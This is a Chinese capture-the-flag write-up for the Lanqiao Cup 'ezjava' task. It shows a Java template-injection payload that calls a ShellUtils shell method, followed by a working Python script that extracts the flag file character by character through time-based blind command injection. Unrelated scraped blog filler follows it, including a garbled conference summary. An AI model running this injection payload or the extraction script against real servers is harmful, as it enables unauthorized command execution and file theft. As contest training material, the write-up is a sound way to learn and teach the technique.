第十五届蓝桥杯网络安全赛项 ezjava writeup

有幸解出这道题目,难度适中但是放在没在线环境的情况下还是挺有挑战的,主要是不能搜资料。靠这道题目直接拿到第一了,有点侥幸
在这里插入图片描述

SSTI

先拖进jadx-gui看主类代码
在这里插入图片描述
就两个功能,路径都是/,如果是get的话就输出信息,POST是题目的功能入口点

分析一下,这个SSTI比较简单,就是直接将POST的STR引入模板中了,所以直接把payload写在STR变量即可执行,问题是JAVA的SSTI怎么打呢?

题目附件有给提示
在这里插入图片描述
就是${PAYLOAD}就可以了,下一步是构造PAYLOAD

从RCE不出网到BASH盲注获取执行结果

反编译代码中有看到他过滤了几个关键字,把常见的能够GETSHELL的类都给ban了,而且题目环境说不能出网(后期试过确实是),就挺难搞的

先想办法获取RCE,仿照README给出的静态方法调用是可以直接执行静态函数的,前提是要找到可利用的类,这里找了一下发现在jetbrick/util/ShellUtils类中有SHELL静态方法可直接执行命令
在这里插入图片描述
那么payload就是${jetbrick.util.ShellUtils::shell(“命令”)}
在这里插入图片描述

但是没有回显,也不能出网反弹shell,那么怎么获得命令结果呢?
可以通过bash盲注方式(有点类似于sql的盲注),可以基于布尔或者时间,这里我忘了布尔是怎么写的就采用了时间盲注的方法
在这里插入图片描述

发现确实执行了sleep命令,这里是本地自搭复现环境,当时题目环境时只要sleep他就会返回504超时,那么按照这个思路配合if就可以获得命令执行结果了

不过我这里实在忘了shell语法的if了,尝试了一下发现目标靶机有python环境,就用python代劳了一下
payload如下

import os;b=os.popen('cat /*').read()[0];import time;time.sleep((b=='?')*3)

如果正确的话那就会sleep3秒,到web那边就是返回504超时
编写exp脚本

import requests
import string
import base64
flag=''
index=0
#url="http://eci-2ze656jixu9mjq8i5o03.cloudeci1.ichunqiu.com:8888"
url="http://localhost"
d=[chr(i) for i in range(0x20,0x80)]
d=string.printable
while 1:
    for i in d:
        exp=("import os;b=os.popen('cat /*').read()["+str(index)+"];import time;time.sleep((b=='"+i+"')*3)").encode()
        exp=base64.b64encode(exp).decode()
        payload={"str":"${jetbrick.util.ShellUtils::shell(\"s="+exp+";s=`echo $s|base64 -d`;echo $s|python3\")}"}
        req=requests.post(url=url,data=payload)
        if req.status_code==504:
            index+=1
            flag+=i
            print(flag)
            break
    if i==string.printable[-1]:
        break
print("should be done")
print(flag)

运行获得flag
在这里插入图片描述
实战这个脚本我打开了一些debug信息,因为flag太长了
有点坑的是flag好像是/0flag还是什么,反正/flag是读不出来的,找了好久

  • 8
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
iscc2015是国际信号与通信会议(International Symposium on Communication and Information Technologies)的官方writeup,在这个writeup中,主要回顾了iscc2015会议的主要内容和成果。 iscc2015会议是由IEEE(Institute of Electrical and Electronics Engineers)主办的,旨在聚集来自全球的学者、研究人员和专业人士,共同探讨和交流关于通信和信息技术领域的最新研究和发展。 这个writeup首先介绍了iscc2015会议的背景和目标,提及了该会议为促进学术界和工业界之间的合作、创新和知识交流所做的努力。接着,该writeup详细描述了iscc2015会议的主要议题,包括通信网络、无线通信、数据通信和网络安全等方面。此外,还列举了一些重要的研究课题和领域,如物联网、云计算、移动通信和多媒体通信等。 iscc2015的writeup还总结了会议期间的重要活动和成果。这些活动包括学术论文的研讨会和展示、专题演讲、研讨会和研究项目的发布等。会议期间,各个领域的专家和学者积极参与并互相交流了关于通信和信息技术领域的最新研究成果和创新理念。 最后,iscc2015的官方writeup总结了会议的收获和影响。该会议为全球通信和信息技术领域的研究人员和专业人士提供了一个交流和合作的平台,推动了相关领域的发展和创新。此外,与会者还从中获得了有关新技术、新方法和最佳实践的信息和经验。 总之,iscc2015官方writeup回顾了这个国际会议的主要内容和成果,强调了其在通信和信息技术领域的重要性和影响。通过促进学术界和工业界之间的交流与合作,这个会议为促进全球通信和信息技术领域的发展做出了贡献。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值